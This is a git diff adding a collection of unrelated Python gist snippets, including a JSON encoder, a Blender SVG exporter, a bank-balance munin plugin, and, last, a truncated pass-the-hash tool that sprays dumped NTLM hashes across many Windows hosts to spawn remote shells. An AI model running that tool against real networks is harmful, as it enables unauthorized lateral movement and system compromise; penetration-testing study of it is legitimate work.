new file mode 100644
index 00000000..0558babb
--- /dev/null
+++ b/hard-gists/3009143/snippet.py
@@ -0,0 +1,218 @@
+import json
+import datetime
+from decimal import Decimal
+from mongoengine.queryset import queryset_manager
+from mongoengine.queryset import QuerySet
+from mongoengine.base import BaseList, BaseDict, ObjectId
+
+
+def list_encoder(inst, obj, field, force_string=False):
+    """
+    Encoder for iterable datatypes.
+    """
+    if force_string:
+        return [str(x) for x in obj]
+    return [inst.default(x, field) for x in obj]
+
+
+def dict_encoder(inst, obj, field, force_string=False):
+    """
+    Encoder for dictinary like data type
+    """
+    data = {}
+    for key in obj.keys():
+        if force_string:
+            data[key] = str(obj[key])
+        else:
+            data[key] = inst.default(obj[key], field)
+    return data
+
+
+def data_encoder(inst, obj, field, force_string=False):
+    """
+    Encoder for regular data types.
+    """
+    if force_string:
+        return str(obj)
+    return obj
+
+
+def object_id_encoder(inst, obj, field, force_string=False):
+    """
+    Encoder for ObjectId
+    """
+    return str(obj)
+
+
+def model_encoder_factory(
+    fields={},
+    extra_encoders={},
+    reference_only_fields={}):
+    """
+    This will return a custom json.JSONEncoder class that is will be
+    able to serialize a mongoengine queryset, or a iterable of
+    querysets.
+
+    fields: A dictionary, keys are data types, values are lists of
+    fields for each data types, to be serialized. Fields can be
+    attributes or object methods.
+    example:
+    {
+        AdCategory: ['title', 'slug'],
+        Region: ['name'],
+    }
+
+    extra_encoders: Contribute or override default encoders.
+    example:
+    {
+        MySpecialDataType: my_function_that_encodes,
+        MyOtherSpecialDataType: my_other_function_that_encodes,
+    }
+
+    reference_only_fields: Use this to avoid circular relations. This
+    will result in the serialized data to contain a string
+    representation of the object instead of a json representation.
+    {
+        Region: ['neighboring_regions'],
+    }
+
+    >>> from .models import AdCategory
+    >>> from .geo.models import Region
+    >>> from .utils import model_encoder_factory
+    >>> import json
+    >>> data = {
+    ...     'regions': Region.objects.all(),
+    ...     'categories': AdCategory.objects.all(),
+    ...     }
+    >>> fields = {
+    ...     Region: ['name' ],
+    ...     AdCategory: ['title', ],
+    ...     }
+    >>> enc = model_encoder_factory(fields=fields)
+    >>> json.dumps(data, cls=enc)
+    """
+
+    # These encoders are matched by datatype. Still need to figure out
+    # whether it's faster to match using a hash or with isinstance().
+    encoders = {
+        BaseList: list_encoder,
+        QuerySet: list_encoder,
+        list: list_encoder,
+        tuple: list_encoder,
+        BaseDict: dict_encoder,
+        dict: dict_encoder,
+        int: data_encoder,
+        long: data_encoder,
+        unicode: data_encoder,
+        Decimal: data_encoder,
+        datetime.datetime: data_encoder,
+        datetime.date: data_encoder,
+        ObjectId: object_id_encoder,
+        }
+
+    # When creating your encoder by calling this factory, you may
+    # supply an extra_encoders parameter that will either contribute
+    # to, or override existing encoders.
+    encoders.update(extra_encoders)
+
+    # Caching keys. Not sure if it's necessary to be honest.
+    encoders_keys = encoders.keys()
+
+    class Encoder(json.JSONEncoder):
+
+        def default(self, obj, field=None):
+            """
+            This a function is called by json.dumps
+            """
+
+            # Get object type
+            obj_type = type(obj)
+            if obj_type in encoders_keys:
+                # If the object type exists in encoders, checker
+                # whether it is included in reference_only_fields, if
+                # yes, the encoder will force the result to be a
+                # string (or a list of strings) instead of an object,
+                # or list of objects.
+                force_string=False
+                if (reference_only_fields and obj
+                    and obj_type in reference_only_fields
+                    and field in reference_only_fields[obj_type]):
+                    force_string = True
+
+
+                # Get the encoder and return its result. (The encoder
+                # is given self, because it may recurse for iterable
+                # items.)
+                return encoders[obj_type](
+                    self,
+                    obj,
+                    field,
+                    force_string=force_string,
+                    )
+
+            # Now if the object type exists in fields, and the obj has
+            # not matched any datatypes in the list of encoders,
+            # create a dictionary of {field: value}.
+            if obj_type in fields:
+                data = {}
+                for field in fields[obj_type]:
+                    # This is called again because it needs to convert
+                    # the value using encoders.
+                    data[field] = self.default(
+                        getattr(obj, field),
+                        field,
+                        )
+                return data
+            elif callable(obj):
+                # If a supplied field is a callable, return the
+                # callable result.
+                return obj()
+            else:
+                # Finally if the field doesn't match anything, return
+                # it's string representation.
+                return {str(obj_type): None}
+    return Encoder
+
+
+class Serializable(object):
+    """
+    Your model can inherit from Serializable, it will get the
+    json_tree method that will automatically use the model's _fields
+    to attempt serialization.
+
+    example:
+
+    MyModel(Document, Serializable)
+        title = StringField()
+
+    then you can get all documents in a json structure by calling
+    MyModel.json_tree()
+
+    You should probably override the json_default_query method to
+    customize the current queryset.
+
+    You can also pass a queryset as an argument like so:
+    MyModel.json_tree(MyModel.objects.filter(title='test'))
+    """
+
+    @classmethod
+    def json_default_query(cls):
+        return cls.objects.all()
+
+    @classmethod
+    def json_tree(cls, qs=None, fields={}, reference_only_fields={}):
+        if qs == None:
+            qs = cls.json_default_query()
+
+        if not fields:
+            fields = {cls: cls._fields.keys()}
+
+        encoder = model_encoder_factory(
+            fields=fields,
+            reference_only_fields=reference_only_fields,
+            )
+
+        return json.dumps(
+            qs,
+            cls=encoder,
+            )
\ No newline at end of file
diff --git a/hard-gists/3012089/._snippet.py b/hard-gists/3012089/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3012089/._snippet.py differ
diff --git a/hard-gists/3012089/snippet.py b/hard-gists/3012089/snippet.py
new file mode 100644
index 00000000..38b29273
--- /dev/null
+++ b/hard-gists/3012089/snippet.py
@@ -0,0 +1,21 @@
+from deepcopy import deepcopy
+from classytags.core import TagMeta
+from classytags.arguments import ARgument
+from classytags.helpers import AsTag
+
+def make_as_tag(original, new_name):
+    class NewTag(AsTag, original):
+        name = new_name
+		
+        options = deepcopy(original.options)
+        options.breakpoints.append('as')
+        options.options['as'] = [Argument('varname', required=False, resolve=False)]
+        options.all_argument_names.append('varname')
+
+        def get_value(self, *args, **kwargs):
+            return original.__class__.render_tag(self, *args, **kwargs)
+    attrs = vars(original)
+    attrs['options'] = options
+    attrs['name'] = name
+    attrs['_decorated_function'].__name__ = name
+    return TagMeta(new_name, (AsTag, original), attrs)
diff --git a/hard-gists/3012306/._snippet.py b/hard-gists/3012306/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3012306/._snippet.py differ
diff --git a/hard-gists/3012306/snippet.py b/hard-gists/3012306/snippet.py
new file mode 100644
index 00000000..23f679ad
--- /dev/null
+++ b/hard-gists/3012306/snippet.py
@@ -0,0 +1,119 @@
+import bpy
+from bpy_extras.view3d_utils import location_3d_to_region_2d as loc3d2d
+
+import os
+
+
+def write_svg(edge_list, region):
+
+    width, height =  region.width, region.height
+
+    print(os.getcwd())
+    file_to_write = open('new_output.svg', 'w')
+
+    base_string = """\
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg width="%s" height="%s">""" % (width, height)
+
+    file_to_write.write(base_string)
+
+    for idx, edge in enumerate(edge_list):
+        path_name="path"+str(idx)
+        co1, co2 = edge
+   
+    
+        details = """
+   <path style="    fill:none;
+                    stroke:#000000;
+                    stroke-width:3;
+                    stroke-linecap:butt;
+                    stroke-linejoin:miter;
+                    stroke-opacity:1;
+                    stroke-miterlimit:4;
+                    stroke-dasharray:none"
+         d="M %s,%s %s,%s"
+         id="%s"/>""" % (   co1.x, height-co1.y, 
+                            co2.x, height-co2.y, 
+                            path_name)
+
+        file_to_write.write(details)
+
+    end_file = """</svg>"""
+    file_to_write.write(end_file)
+    
+    file_to_write.close()
+
+
+
+
+def draw_data(self, context):
+
+    region = context.region  
+    rv3d = context.space_data.region_3d  
+    obj = context.active_object
+    vertlist = obj.data.vertices
+
+    edge_list = []
+    for edge in obj.data.edges:
+        idx1, idx2 = edge.vertices[:]
+        co1, co2 = vertlist[idx1].co, vertlist[idx2].co
+        co2d_1 = loc3d2d(region, rv3d, co1)
+        co2d_2 = loc3d2d(region, rv3d, co2)        
+        edge_list.append((co2d_1, co2d_2))
+    
+    write_svg(edge_list, region)
+    return
+
+
+
+
+
+
+
+class RenderButton(bpy.types.Operator):
+    """Defines a button"""
+    bl_idname = "svg.render"
+    bl_label = "Renders to svg"
+    country = bpy.props.StringProperty()
+ 
+    def execute(self, context):
+        obname = context.active_object.name
+        print('rendering %s' % obname)
+        draw_data(self, context)
+        return{'FINISHED'}  
+
+
+class SVGPanel(bpy.types.Panel):
+    """Creates a Panel in the Object properties window"""
+    bl_label = "Render SVG"
+    bl_idname = "OBJECT_PT_render"
+    bl_space_type = "VIEW_3D"
+    bl_region_type = "UI"
+    bl_context = "object"
+
+    def draw(self, context):
+        layout = self.layout
+
+        obj = context.object
+        row = layout.row()
+        row.label(text="Active object is: " + obj.name)
+        
+        # display button
+        self.layout.operator("svg.render", text='Render')
+
+
+
+classes = [SVGPanel, RenderButton]
+
+def register():
+    for i in classes:
+        bpy.utils.register_class(i)
+
+
+def unregister():
+    for i in classes:
+        bpy.utils.unregister_class(i)
+
+
+if __name__ == "__main__":
+    register()
diff --git a/hard-gists/3012318/._snippet.py b/hard-gists/3012318/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3012318/._snippet.py differ
diff --git a/hard-gists/3012318/snippet.py b/hard-gists/3012318/snippet.py
new file mode 100644
index 00000000..9fa7e8c1
--- /dev/null
+++ b/hard-gists/3012318/snippet.py
@@ -0,0 +1,80 @@
+from optparse import make_option
+
+from django.test.simple import DjangoTestSuiteRunner
+
+
+def fake_create_test_db(self, verbosity=1, autoclobber=False):
+    """Simplified version of BaseDatabaseCreation.create_test_db."""
+    test_database_name = self._get_test_db_name()
+
+    if verbosity >= 1:
+        test_db_repr = ''
+        if verbosity >= 2:
+            test_db_repr = " ('%s')" % test_database_name
+        print "Using existing test database for alias '%s'%s..." % (self.connection.alias, test_db_repr)
+
+    self.connection.close()
+    self.connection.settings_dict["NAME"] = test_database_name
+
+    # Confirm the feature set of the test database
+    self.connection.features.confirm()
+
+    # Get a cursor (even though we don't need one yet). This has
+    # the side effect of initializing the test database.
+    self.connection.cursor()
+
+    return test_database_name
+
+
+def fake_destroy_test_db(self, old_database_name, verbosity=1):
+    """Simplified version of BaseDatabaseCreation.destroy_test_db."""
+    self.connection.close()
+    test_database_name = self.connection.settings_dict['NAME']
+    if verbosity >= 1:
+        test_db_repr = ''
+        if verbosity >= 2:
+            test_db_repr = " ('%s')" % test_database_name
+        print "Preserving test database for alias '%s'%s..." % (self.connection.alias, test_db_repr)
+    self.connection.settings_dict['NAME'] = old_database_name
+
+
+class AutosubordinateTestSuiteRunner(DjangoTestSuiteRunner):
+
+    option_list = (
+        make_option('--createdb',
+            action='store_true', dest='createdb', default=False,
+            help='Create, or re-create, the test database before the tests. '
+                 'Use this one the first run and when your models change.'),
+        make_option('--dropdb',
+            action='store_true', dest='dropdb', default=False,
+            help='Drop the test database after the tests.'),
+    )
+
+    def __init__(self, createdb=True, dropdb=True, **kwargs):
+        self.createdb = createdb
+        self.dropdb = dropdb
+        super(AutosubordinateTestSuiteRunner, self).__init__(**kwargs)
+
+    def setup_databases(self, **kwargs):
+        """Create the test databases only when explicitly requested.
+
+        Also create initial data for some models. We can't use 'initial_data'
+        fixtures for objects whose contents may be edited in production,
+        because they would be overwritten by updates.
+        """
+        if not self.createdb:
+            from django.db.backends.creation import BaseDatabaseCreation
+            BaseDatabaseCreation.create_test_db = fake_create_test_db
+
+        result = super(AutosubordinateTestSuiteRunner, self).setup_databases(**kwargs)
+        if self.createdb:
+            # Initialize some tables that are populated by scripts
+            # rather than fixtures; hardcoded for our local setup.
+            pass
+        return result
+
+    def teardown_databases(self, old_config, **kwargs):
+        """Drop the test databases only when explicitly requested."""
+        if not self.dropdb:
+            from django.db.backends.creation import BaseDatabaseCreation
+            BaseDatabaseCreation.destroy_test_db = fake_destroy_test_db
\ No newline at end of file
diff --git a/hard-gists/3013470/._snippet.py b/hard-gists/3013470/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3013470/._snippet.py differ
diff --git a/hard-gists/3013470/snippet.py b/hard-gists/3013470/snippet.py
new file mode 100644
index 00000000..3ee8e5af
--- /dev/null
+++ b/hard-gists/3013470/snippet.py
@@ -0,0 +1,53 @@
+# hn_screen_scraper.py
+# A screen scraper for the front page of hacker news done out of a fit of boredom.
+from urllib  import request
+import re
+
+# read in the data and split it into a raw list of entries
+url_path = "http://news.ycombinator.com"
+sock = request.urlopen(url_path)
+raw_data = str(sock.read())
+data_set = re.split("arrow\.gif", raw_data)
+data_set = data_set[1:] #first entry always the url to ycombinator.  Omitting.
+
+url_list = []
+rough_list = []
+
+# cut out a chunk of the urls.
+for line in data_set:
+    start = line.find("<a")
+    end = line.find("</a", start)
+    the_url = line[start:end]
+    rough_list.append(the_url)
+
+# compreshensions can do the rest of the cleanup for the urls.
+url_list = [x[x.find("\"")+1:] for x in rough_list]
+url_list = [x[0:x.find("\"")] for x in url_list]
+
+# grab the titles
+titles = [x[x.rfind(">")+1:] for x in rough_list]
+
+def get_comment_count(data_rec):
+    pattern = r"[0-9]{,3}\ comment[s]{0,1}"
+    m = re.search(pattern, data_rec)
+    if  m:
+        comment_count = data_rec[m.start():m.end()]
+        comment_count = comment_count.split()[0]
+        comment_count = int(comment_count)
+        return comment_count
+    return 0
+
+# piece toegether the dictionary.
+hn_articles = []
+for i, url in enumerate(url_list):
+    cc = get_comment_count(data_set[i])
+    d = {'url':url, 'title':titles[i], 'comments':cc}
+    hn_articles.append(d)
+
+# dump it to con and order it by most commented
+check_comments = lambda x:x['comments']
+hn_articles = sorted(hn_articles, key=check_comments, reverse=True)
+for hn_article in hn_articles:
+    print( "TITLE: %s" % hn_article['title'] )
+    print("URL: %s" % hn_article['url'])
+    print("%d comments\n" % hn_article['comments'])
diff --git a/hard-gists/3015625/._snippet.py b/hard-gists/3015625/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3015625/._snippet.py differ
diff --git a/hard-gists/3015625/snippet.py b/hard-gists/3015625/snippet.py
new file mode 100644
index 00000000..e78c0f1e
--- /dev/null
+++ b/hard-gists/3015625/snippet.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+# quick script for demultiplexing reads from illumina fastq files
+# Sean Davis <seandavi@gmail.com>
+# 2012-06-29
+#
+import argparse
+import Bio.SeqIO as SeqIO
+from itertools import izip
+import gzip
+from string import maketrans
+import subprocess
+
+transtab = maketrans('ACGTN','TGCAN')
+
+def revcomp(sequence,dropone=False):
+    tmp=sequence[::-1].translate(transtab)
+    if(dropone):
+        tmp = tmp[1:]
+    return(tmp)
+
+
+def fileOpen(fname,mode='r'):
+    if(fname.endswith('.gz')):
+        if(mode.startswith('r')):
+            return subprocess.Popen(['gunzip -c %s' % fname],stdout=subprocess.PIPE,shell=True).stdout
+        if(mode.startswith('w')):
+            return gzip.GzipFile(fname,'wb')
+    else:
+        return open(fname,'r')
+
+parser = argparse.ArgumentParser(
+    description="""Demultiplex fastq files based on an index.  
+
+This script assumes that there are two OR three fastq files representing each cluster.  One of the  of the reads contains the index sequence.  The script matches the index (specified as the last argument to pull out reads from the non-index files to generate demultiplexed fastq files.""")
+parser.add_argument('-1','--readFile1',required=True,
+                    help="read1 filename")
+parser.add_argument('-2','--readFile2',
+                    help="read2 filename")
+parser.add_argument('-i','--indexFile',required=True,
+                    help="index Filename")
+parser.add_argument('index',
+                    help="The index")
+
+opts = parser.parse_args()
+
+print opts
+
+indexString = revcomp(opts.index)
+print indexString
+
+ifile = SeqIO.parse(fileOpen(opts.indexFile),'fastq')
+rfile1 = SeqIO.parse(fileOpen(opts.readFile1),'fastq')
+ofile1 = fileOpen(opts.index + "_" + opts.readFile1,'wb')
+if(opts.readFile2 is not None):
+    ofile2 = fileOpen(opts.index + "_" + opts.readFile2,'wb')
+    rfile2 = SeqIO.parse(fileOpen(opts.readFile2),'fastq')
+    for (r1,r2,i) in izip(rfile1,rfile2,ifile):
+        if(str(i.seq).startswith(indexString)):
+            SeqIO.write(r1,ofile1,'fastq')
+            SeqIO.write(r2,ofile2,'fastq')
+else:
+    for (r1,i) in izip(rfile1,ifile):
+        if(str(i.seq).startswith(indexString)):
+            SeqIO.write(r1,ofile1,'fastq')
diff --git a/hard-gists/3015852/._snippet.py b/hard-gists/3015852/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3015852/._snippet.py differ
diff --git a/hard-gists/3015852/snippet.py b/hard-gists/3015852/snippet.py
new file mode 100644
index 00000000..561e5702
--- /dev/null
+++ b/hard-gists/3015852/snippet.py
@@ -0,0 +1,226 @@
+#!/usr/bin/env python
+# -*- python -*-
+#
+# Plugin to track account balances on ingdirect.com.au, using selenium gymnastics to log in
+#
+# E.g.
+#    ln -s /usr/share/munin/plugins/ingdirect.py /etc/munin/plugins/ingdirect
+#
+# Needs (hint: pip install):
+#   selenium
+#   pyvirtualdisplay (also sudo apt-get install xvfb)
+#   simplejson
+#   PIL
+#
+# Needs following minimal configuration in plugin-conf.d/munin-node:
+#   [ingdirect]
+#   client 9876
+#   pin 1234
+#   refresh 360 # optional refresh rate in minutes
+#
+# Author: Roger Barnes  <roger@mindsocket.com.au>
+
+from selenium import webdriver
+from selenium.common.exceptions import NoSuchElementException
+from simplejson.decoder import JSONDecodeError
+from PIL import Image
+import StringIO
+import re
+import hashlib
+import base64
+import sys
+import os
+import simplejson
+import time
+
+verbose=False
+
+def verboselog(s):
+    global plugin_name
+    sys.stderr.write(plugin_name+': '+s+'\n')
+
+if not verbose :
+    verboselog = lambda s: None
+
+def splat(type, value, tb):
+    """Exception hook to fire up pdb if we have a tty"""
+    if hasattr(sys, 'ps1') or not sys.stderr.isatty():
+        # we are in interactive mode or we don't have a tty-like
+        # device, so we call the default hook
+        sys.__excepthook__(type, value, tb)
+    else:
+        import traceback, pdb
+        # we are NOT in interactive mode, print the exception...
+        traceback.print_exception(type, value, tb)
+        print
+        # ...then start the debugger in post-mortem mode.
+        pdb.pm()
+
+sys.excepthook = splat
+
+def getcropbox(button):
+    """Given a selenium WebElement, return a PIL friendly 
+    (left, top, right, bottom) crop box
+    including the top frame and padding offsets"""
+    topframe = 95
+    padding = 6
+    xoffset = padding
+    yoffset = topframe + padding
+    return (
+        xoffset + button.location['x'], 
+        yoffset + button.location['y'], 
+        xoffset + button.location['x'] + button.size['width'], 
+        yoffset + button.location['y'] + button.size['height']
+    )
+
+def get_balances(driver, path):
+    """Given an xpath, extract the account rows and return 
+    a list of tuples (account name, balance)"""
+    table = driver.find_element_by_xpath(path)
+    verboselog(table)
+    all_rows = table.find_elements_by_xpath("tbody/tr")
+    verboselog(all_rows)
+
+    balances = []
+    for row in all_rows[1:-1]:
+        cells = row.find_elements_by_tag_name('td')
+        balances.append((cells[1].text.strip(), 
+                         float(re.findall(r'[0-9.,]+', cells[6].text)[0].replace(',', ''))
+                         ))
+    return balances
+
+class INGDirect(object):
+    # Mapping of PIN digits to md5sums of button images
+    nums = {
+        '0': '9b1e2f2424bed4698e628bc8efc4d917', 
+        '1': '4732bbdd77938edc99bf29b8b9f95ca1', 
+        '2': '90d0aa87be7fc3b06250acb1364301e6', 
+        '3': 'a4c8204ec0b17e0840cd3c493bfd46b6', 
+        '4': '4b5a21179a172e3d0eb631349d1df4d9', 
+        '5': '99167e3c333f1d3b6fe78dedb6dd72a0', 
+        '6': 'f1f669791224037c38b8239d88528b72', 
+        '7': '4374e88a64088bdc988a95dc0abeed76', 
+        '8': '9282c5583088f880cda228225b3cf4be', 
+        '9': 'a502640945909a81c031caa334febc28', 
+        'cancel': '5285990feb6cc21055aae02230ff9d64',
+        'clear': 'f7b4cfdcc435dac1213372c511c6f759', 
+    }
+    
+    def __init__(self, client, pin, visible=0):
+        # Virtual display setup
+        from pyvirtualdisplay import Display
+        self.display = Display(visible=visible, size=(800, 800))
+        self.display.start()
+        
+        # Selenium setup
+        self.driver = webdriver.Firefox()
+        self.driver.implicitly_wait(5)
+        self.base_url = "https://www.ingdirect.com.au"
+        self.verificationErrors = []
+        
+        # Login params
+        self.client = client
+        self.pin = pin
+
+    def get_balances(self):
+        """Main workload, logs in and gets balances"""
+        driver = self.driver
+        driver.get(self.base_url + "/client/index.aspx")
+        #driver.get_screenshot_as_file("/tmp/ingdirect_screenshot.png")
+        driver.switch_to_frame('body')
+        
+        # Type in client number
+        driver.find_element_by_id("txtCIF").clear()
+        driver.find_element_by_id("txtCIF").send_keys(self.client)
+        
+        # Get screenshot for extraction of button images
+        im = Image.open(StringIO.StringIO(base64.decodestring(driver.get_screenshot_as_base64())))
+
+        barr = {}
+        table = driver.find_element_by_xpath("""//*[@id="objKeypad_divShowAll"]/table""")
+        all_buttons = table.find_elements_by_tag_name("input")
+        
+        # Determine md5sum of each button by cropping the screenshot based on element positions
+        for button in all_buttons:
+            #print "Value is: %s %s %s %s" % (
+            #    button.get_attribute("id"), button.get_attribute("src"), button.location, button.size)
+            bim = im.crop(getcropbox(button))
+            hexid = hashlib.md5(bim.tostring()).hexdigest()
+            #bim.save("/tmp/%s-%s.png" % (hexid, button.get_attribute("id")))
+            barr[hexid] = button.get_attribute("id")
+        
+        #print barr
+        # Now we know which button is which, enter the PIN
+        for char in self.pin:
+            #print barr[nums[char]]
+            driver.find_element_by_id(barr[self.nums[char]]).click()
+            
+        driver.find_element_by_id("btnLogin").click()
+        
+        # We're in! Grab the balances from the Transaction and Savings account sections
+        
+        balances =  get_balances(driver, """//*[@id="asTrans_gvAccountSummary"]""") + \
+                    get_balances(driver, """//*[@id="asSavings_gvAccountSummary"]""")
+
+        return balances
+    
+    def is_element_present(self, how, what):
+        try: self.driver.find_element(by=how, value=what)
+        except NoSuchElementException, e: return False
+        return True
+    
+    def __enter__(self):
+        return self
+
+    def __exit__(self, type, value, traceback):
+        self.driver.quit()
+        self.display.stop()
+
+to_key = lambda s: re.sub('[()]', '', s).replace(' ', '_').lower()
+  
+def print_config(state):
+    """Munin config based on current state"""
+    verboselog('Printing configuration')
+    print('graph_title ING Direct account balances')
+    print('graph_vlabel balance')
+    print('graph_args --logarithmic --base 1000 --lower-limit 100')
+    print('graph_category personal')
+    print('graph_info This graph shows the balance of all ING Direct accounts')
+    print('graph_total total')
+    attributes=[b[0] for b in state['balances']]
+    attributes.sort()
+    for key in attributes :
+        print(to_key(key) + '.label ' + key)
+        print(to_key(key) + '.type GAUGE')
+
+if __name__ == "__main__":
+    plugin_name=list(os.path.split(sys.argv[0]))[1]
+    verboselog('plugins\' UID: '+str(os.geteuid())+' / plugins\' GID: '+str(os.getegid()))
+    
+    # read state (JSON)
+    state = {}
+    statepath = os.getenv('MUNIN_STATEFILE', '/tmp/ingdirect-')
+    try:
+        with open(statepath,'r') as statefile:
+            state = simplejson.load(statefile)
+    except (IOError, JSONDecodeError):
+        pass
+    
+    # Only get fresh balances every 6 hours (or as configured in munin-node)
+    if not 'lastupdate' in state or state['lastupdate'] < time.time() - (os.getenv('refresh', 360) * 60):
+        with INGDirect(client=os.getenv('client'), pin=os.getenv('pin')) as client:
+            state['lastupdate'] = time.time()
+            state['balances'] = client.get_balances()
+            with open(statepath,'w') as statefile:
+                simplejson.dump(state, statefile)
+
+    verboselog(simplejson.dumps(state))
+    
+    # Parse arguments
+    if len(sys.argv)>1 and sys.argv[1]=="config":
+        print_config(state)
+        sys.exit(0)
+
+    # Results for munin
+    for account, balance in state['balances']:
+        print("%s.value %f" % (to_key(account), balance))
diff --git a/hard-gists/3018527/._snippet.py b/hard-gists/3018527/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3018527/._snippet.py differ
diff --git a/hard-gists/3018527/snippet.py b/hard-gists/3018527/snippet.py
new file mode 100644
index 00000000..386265b3
--- /dev/null
+++ b/hard-gists/3018527/snippet.py
@@ -0,0 +1,17 @@
+from celery.schedules import crontab
+from flask.ext.celery import Celery
+
+CELERYBEAT_SCHEDULE = {
+	# executes every night at 4:15
+	'every-night': {
+		'task': 'user.checkaccounts',
+		'schedule': crontab(hour=4, minute=20)
+	}
+}
+
+celery = Celery(www)
+
+@celery.task(name='user.checkaccounts')
+def checkaccounts():
+	# do something
+	pass
\ No newline at end of file
diff --git a/hard-gists/3018bf3643f80798bde75c17571a38a9/._snippet.py b/hard-gists/3018bf3643f80798bde75c17571a38a9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3018bf3643f80798bde75c17571a38a9/._snippet.py differ
diff --git a/hard-gists/3018bf3643f80798bde75c17571a38a9/snippet.py b/hard-gists/3018bf3643f80798bde75c17571a38a9/snippet.py
new file mode 100644
index 00000000..3c562f06
--- /dev/null
+++ b/hard-gists/3018bf3643f80798bde75c17571a38a9/snippet.py
@@ -0,0 +1,222 @@
+#!/usr/bin/python
+
+#
+# Simple script intended to perform Carpet Bombing against list 
+# of provided machines using list of provided LSA Hashes (LM:NTLM).
+# The basic idea with Pass-The-Hash attack is to get One hash and use it
+# against One machine. There is a problem with this approach of not having information,
+# onto what machine we could have applied the hash.
+# To combat this issue - the below script was born.
+#
+# Requirements:
+#   This script requires 'pth-winexe' utility (or winexe renamed to pth-winexe') be present
+#   within system during script's invocation. In case this utility will not be present -
+#   no further check upon ability to run commands from PTH attack - will be displayed.
+#   Also, modules such as:
+#       - impacket
+#
+# Notice:
+#   This script is capable of verifying exploitability of only Windows boxes. In case
+#   of other type of boxes (running Samba) pth-winexe will not yield satisfying results.
+#
+# Usage:
+#   $ ./pth-carpet.py machines.txt pwdump
+#
+# coded by:
+#   Mariusz B., 2016 / mgeeky
+#   version 0.2
+#
+# Should be working on Windows boxes as well as on Linux ones.
+#
+
+from __future__ import print_function
+
+import os
+import sys
+import argparse
+import signal
+import logging
+import threading
+import subprocess
+import multiprocessing
+
+from termcolor import colored
+from functools import partial
+from multiprocessing.managers import BaseManager
+from impacket.dcerpc.v5 import transport
+
+WORKERS = multiprocessing.cpu_count() * 4
+TIMEOUT = 10
+OPTIONS = None
+LOCK = multiprocessing.Lock()
+
+def info(txt):
+    with LOCK:
+        print (txt)
+
+def success(txt):
+    info(colored('[+] '+txt, 'green', attrs=['bold']))
+
+def warning(txt):
+    info(colored('[*] '+txt, 'yellow'))
+
+def verbose(txt):
+    if OPTIONS.v:
+        info(colored('[?] '+txt, 'white'))
+
+def err(txt):
+    info(colored('[!] '+txt, 'red'))
+
+class Command(object):
+    def __init__(self, cmd):
+        self.cmd = cmd
+        self.process = None
+        self.output = ''
+        self.error = ''
+        verbose( '\tCalling: "%s"' % cmd)
+
+    def get_output(self):
+        return self.output, self.error
+
+    def run(self, stdin, timeout):
+        def target():
+            self.process = subprocess.Popen(self.cmd, shell=True, \
+                stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
+            self.output, self.error = self.process.communicate(stdin)
+
+        thread = threading.Thread(target=target)
+        thread.start()
+        thread.join(timeout)
+        if thread.is_alive():
+            self.process.terminate()
+            thread.join()
+            return False
+        else:
+            return True
+
+def init_worker():
+    # http://stackoverflow.com/a/6191991
+    signal.signal(signal.SIGINT, signal.SIG_IGN)
+
+def cmd_exists(cmd):
+    return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
+
+def check_rce(host, username, hash, port):
+    verbose('\tChecking whether provided hash can be used to PTH remote code execution')
+
+    if cmd_exists('pth-winexe'):
+        userswitch = '%s%%%s' % (username, hash)
+        c = Command('pth-winexe -U %s //%s cmd' % (userswitch, host))
+        if c.run('exit\n', TIMEOUT):
+            pass
+        else:
+            verbose('\tPTH-Winexe had to be terminated.')
+        out, error = c.get_output()
+        if 'Microsoft' in out and '(C) Copyright' in out and '[Version' in out:
+            return True
+        else:
+            errorm = error[error.find('NT_STATUS'):].strip()
+            if not errorm.startswith('NT_STATUS'):
+                if 'NT_STATUS' in error:
+                    errorm = error
+                else:
+                    errorm = 'Unknown error'
+            if OPTIONS.v:
+                err('\tCould not spawn shell using PTH: ' + errorm)
+    else:
+        warning('\tPlease check above hash whether using it you can access writeable $IPC share to execute cmd.')
+
+    return False
+
+def login(host, username, hash, port):
+    stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host
+
+    rpctransport = transport.DCERPCTransportFactory(stringbinding)
+    rpctransport.set_dport(port)
+
+    lmhash, nthash = hash.split(':')
+    rpctransport.set_credentials(username, '', '', lmhash, nthash, None)
+
+    dce = rpctransport.get_dce_rpc()
+    try:
+        dce.connect()
+        return check_rce(host, username, hash, port)
+    except Exception, e:
+        raise e
+
+def correct_hash(hash):
+    lmhash, nthash = hash.split(':')
+    if '*' in lmhash:
+        lmhash = '0' * 32
+    if '*' in nthash:
+        nthash = '0' * 32
+
+    return lmhash + ':' + nthash
+
+def worker(stopevent, pwdump, machine):
+    for user, hash in pwdump.items():
+        if stopevent.is_set():
+            break
+
+        hash = correct_hash(hash)
+        try:
+            if login(machine, user, hash, OPTIONS.port):
+                success('Pass-The-Hash with shell spawned: %s@%s (%s)' % (user, machine, hash))
+            else:
+                if OPTIONS.v:
+                    warning('Connected using PTH but could\'nt spawn shell: %s@%s (%s)' % (user, machine, hash))
+        except Exception, e:
+            verbose('Hash was not accepted: %s@%s (%s)\n\t%s' % (user, machine, hash, str(e)))
+            
+
+def main():
+    global OPTIONS
+
+    print(colored('\n\tPass-The-Hash Carpet Bombing utility\n\tSmall utility trying every provided hash against every specified machine.\n\tMariusz B., 2016\n', 'white', attrs=['bold']))
+
+    parser = argparse.ArgumentParser(add_help = True, description='Pass-The-Hash mass checking tool')
+    parser.add_argument('rhosts', nargs='?', help='Specifies input file containing list of machines or CIDR notation of hosts')
+    parser.add_argument('hashes', nargs='?', help='Specifies input file containing list of dumped hashes in pwdump format')
+    parser.add_argument('-v', action='store_true', help='Verbose mode')
